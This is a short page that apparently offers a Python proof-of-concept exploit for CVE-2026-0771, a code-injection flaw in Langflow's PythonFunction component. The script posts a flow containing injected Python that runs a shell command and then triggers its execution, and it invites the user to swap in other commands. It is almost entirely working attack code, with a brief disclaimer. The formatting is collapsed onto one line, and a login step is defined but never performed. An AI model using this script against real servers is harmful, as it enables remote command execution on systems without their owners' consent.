CVE-2026-0771 Langflow PythonFunction代码注入远程代码执行漏洞

import requests import json import base64 # CVE-2026-0771 PoC - Langflow PythonFunction Code Injection # This PoC demonstrates the code injection vulnerability in Langflow's PythonFunction component TARGET_URL = "http://target:7860" # Malicious Python code to be injected # This example executes a simple command; modify as needed for your testing malicious_code = """ import os result = os.popen('whoami').read() print(result) """ def exploit_cve_2026_0771(): """ Exploit for CVE-2026-0771: Langflow PythonFunction Code Injection Steps: 1. Authenticate with Langflow (if authentication is enabled) 2. Create a new flow or use existing flow 3. Add a PythonFunction component 4. Inject malicious code into the component 5. Execute the flow to trigger RCE """ # Step 1: Login and get session session = requests.Session() login_data = { "username": "attacker", "password": "password" } # Step 2: Create flow with PythonFunction component flow_data = { "name": "malicious_flow", "components": [ { "type": "PythonFunction", "code": malicious_code, "inputs": {} } ] } # Step 3: Save and execute the flow response = session.post( f"{TARGET_URL}/api/v1/flows", json=flow_data ) if response.status_code == 200: flow_id = response.json().get("id") # Step 4: Execute the flow to trigger RCE exec_response = session.post( f"{TARGET_URL}/api/v1/flows/{flow_id}/run" ) print(f"Exploitation {'successful' if exec_response.status_code == 200 else 'failed'}") return exec_response.json() return None if __name__ == "__main__": print("CVE-2026-0771 PoC - Langflow PythonFunction Code Injection") print("Use this only for authorized security testing") # result = exploit_cve_2026_0771() # print(result)